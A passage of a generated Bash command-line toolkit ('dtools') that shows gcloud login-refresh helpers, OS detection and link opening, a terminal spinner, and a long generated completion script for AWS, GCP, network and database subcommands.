's/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g')" wmctrl -a "You are now authenticated with the gcloud CLI" xdotool key Ctrl+w wmctrl -a "$zellij_session_id" } validate-or-refresh-gcp-auth() { if ! (gcloud auth print-access-token --quiet > /dev/null 2>&1); then yellow_bold "GCP credentials have expired and need to be refreshed" yellow "Refreshing user credentials..." spinny-start if ! (gcloud auth login > /dev/null 2>&1); then spinny-stop red_bold "Unable to log into GCP." else spinny-stop close-gcp-auth-tab green "User credentials refreshed" fi yellow "Refreshing application default credentials..." spinny-start if ! (gcloud auth application-default login > /dev/null 2>&1); then spinny-stop red_bold "Unable to configure GCP credentials for applications." else spinny-stop close-gcp-auth-tab green "GCP application default credentials refreshed" fi fi } get-gcp-project() { echo "${args[--project]:-$GCP_PROJECT}" } get-gcp-location() { echo "${args[--location]:-$GCP_LOCATION}" } repo-doesnt-have-uncommitted-changes() { git diff --quiet && \ git diff --cached --quiet && \ git rev-list @{u}..HEAD --quiet } detect_os() { case "$OSTYPE" in solaris*) echo "solaris" ;; darwin*) echo "macos" ;; linux*) echo "linux" ;; bsd*) echo "bsd" ;; msys*) echo "windows" ;; cygwin*) echo "windows" ;; *) echo "unknown" ;; esac } get_opener() { declare cmd case "$(detect_os)" in macos) cmd="open" ;; linux) cmd="xdg-open" ;; windows) cmd="start" ;; *) cmd="" ;; esac echo "$cmd" } open_link() { cmd="$(get_opener)" if [[ "$cmd" == "" ]]; then error "Your platform is not supported for opening links." red "Please open the following URL in your preferred browser:" red " ${1}" return 1 fi $cmd "$1" if [[ $? -eq 1 ]]; then error "Failed to open your browser." red "Please open the following URL in your browser:" red "${1}" return 1 fi return 0 } trap 'spinny-stop' SIGINT declare -a SPINNY_FRAMES=(▸ ▹▸ ▹▹▸ ▹▹▹▸ ▹▹▹▹▸ " ▹▹▹▹" " ▹▹▹" " ▹▹" " ▹" " " ) declare SPINNY_DELAY=0.1 declare __spinny__spinner_pid declare -a __spinny__frames=() spinny-start() { tput civis spinny_spinner & __spinny__spinner_pid=$! } spinny-stop() { [[ -z "$__spinny__spinner_pid" ]] && return 0 kill -9 "$__spinny__spinner_pid" # Use conditional to avoid exiting the program immediatly wait "$__spinny__spinner_pid" 2>/dev/null || true tput cnorm unset __spinny__spinner_pid unset __spinny__frames } spinny_spinner() { local delay="${SPINNY_DELAY:-0.3}" spinny_load_frames spinny_pad_frames while true; do for frame in "${__spinny__frames[@]}"; do # After rendering each frame the cursor is reset to # the previous position so that the next frame can # overwrite it tput sc printf "%b" "$frame" tput rc sleep "$delay" done done } spinny_pad_frames() { # Frames with different lengths need to be padded # for a smooth animation. We calculate the maximum # size of all frames and pad all smaller ones with # white space. local max_length max_length="$(spinny_max_framelength)" local array_length="${#__spinny__frames[@]}" for (( i=0; i < array_length; i++ )) do local frame="${__spinny__frames[$i]}" local frame_length="${#frame}" diff="$(( max_length - frame_length + 1 ))" # This adds the required number of white spaces # to the frame # TODO: Replace with pure bash if possible filler="$(seq -s ' ' "$diff" | tr -d '[:digit:]')" __spinny__frames[$i]="$frame$filler" done } spinny_max_framelength() { local max="${#__spinny__frames[0]}" for frame in "${__spinny__frames[@]}"; do declare len="${#frame}" (( len > max )) && max=$len done echo "$max" } spinny_load_frames() { # Load custom frames if any or fall back on the default animation if [[ -z $SPINNY_FRAMES ]]; then __spinny__frames=(- "\\" "|" /) else __spinny__frames=("${SPINNY_FRAMES[@]}") fi } send_completions() { echo $'# dtools completion -*- shell-script -*-' echo $'' echo $'# This bash completions script was generated by' echo $'# completely (https://github.com/bashly-framework/completely)' echo $'# Modifying it manually is not recommended' echo $'' echo $'_dtools_completions_filter() {' echo $' local words="$1"' echo $' local cur=${COMP_WORDS[COMP_CWORD]}' echo $' local result=()' echo $'' echo $' # words the user already typed (excluding the command itself)' echo $' local used=()' echo $' if ((COMP_CWORD > 1)); then' echo $' used=("${COMP_WORDS[@]:1:$((COMP_CWORD - 1))}")' echo $' fi' echo $'' echo $' if [[ "${cur:0:1}" == "-" ]]; then' echo $' # Completing an option: offer everything (including options)' echo $' echo "$words"' echo $'' echo $' else' echo $' # Completing a non-option: offer only non-options,' echo $' # and don\'t re-offer ones already used earlier in the line.' echo $' for word in $words; do' echo $' [[ "${word:0:1}" == "-" ]] && continue' echo $'' echo $' local seen=0' echo $' for u in "${used[@]}"; do' echo $' if [[ "$u" == "$word" ]]; then' echo $' seen=1' echo $' break' echo $' fi' echo $' done' echo $' ((!seen)) && result+=("$word")' echo $' done' echo $'' echo $' echo "${result[*]}"' echo $' fi' echo $'}' echo $'' echo $'_dtools_completions() {' echo $' local cur=${COMP_WORDS[COMP_CWORD]}' echo $' local compwords=()' echo $' if ((COMP_CWORD > 0)); then' echo $' compwords=("${COMP_WORDS[@]:1:$((COMP_CWORD - 1))}")' echo $' fi' echo $' local compline="${compwords[*]}"' echo $'' echo $' COMPREPLY=()' echo $'' echo $' case "$compline" in' echo $' \'network generate-self-signed-certificate\'*\'--key-output\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'network generate-self-signed-certificate\'*\'--pfx-output\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'network generate-self-signed-certificate\'*\'--output\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'network proxy-with-nginx\'*\'--proxy-target-protocol\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "http https")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-ngrok-bastion-instance\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws generate-sso-profiles\'*\'--default-cli-region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-ngrok-bastion-instance\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds fetch-db-connection-details\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds fetch-db-connection-details\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager create-secret\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-repositories\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager create-secret\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-repositories\'*\'--project\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager list-secrets\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex tail-endpoint-logs\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager show-secret\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager list-secrets\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network generate-self-signed-certificate\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hostname --key-output --output --pfx-output -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager show-secret\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex tail-endpoint-logs\'*\'--project\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-port-forwarding\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-ngrok-bastion-instance\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-ngrok-bastion-instance\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws generate-sso-profiles\'*\'--sso-region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-port-forwarding\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds fetch-db-connection-details\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds fetch-db-connection-details\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'network https-proxy\'*\'--ssl-certificate\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' echo $' ;;' echo $'' echo $' \'tui development multi-host-log-viewer\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring network-diags\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex list-endpoints\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm start-ngrok-bastion-instance\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hostname --ngrok-auth-token --ngrok-url --port --profile --region --subnet-id -a -h -p -r -u")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-images\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'db postgres\'*\'--persistent-dir-prefix\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.db/postgres/)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-images\'*\'--project\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex list-endpoints\'*\'--project\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager create-secret\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager create-secret\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network-monitoring socket-stats\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds list-db-instances\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds fetch-db-connection-details\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs query-log-groups\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm create-parameter\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs query-log-groups\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm update-parameter\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-repositories\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp artifacts list-repositories\'*\'-l\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm delete-parameter\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'document decrypt-pdf\'*\'--output-file\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager list-secrets\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager list-secrets\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws rds list-db-instances\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'vm windows\'*\'--persistent-dir-prefix\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(ls -1 $HOME/.vm/windows/)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'gcp vertex deploy-model\'*\'--location\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs list-log-groups\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs list-log-groups\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm delete-parameter\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'tui network http-request-client-2\'*)' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager show-secret\'*\'-p\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws secretsmanager show-secret\'*\'-r\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm update-parameter\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws logs tail-log-group\'*\'--profile\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' echo $' ;;' echo $'' echo $' \'aws ssm create-parameter\'*\'--region\')' echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 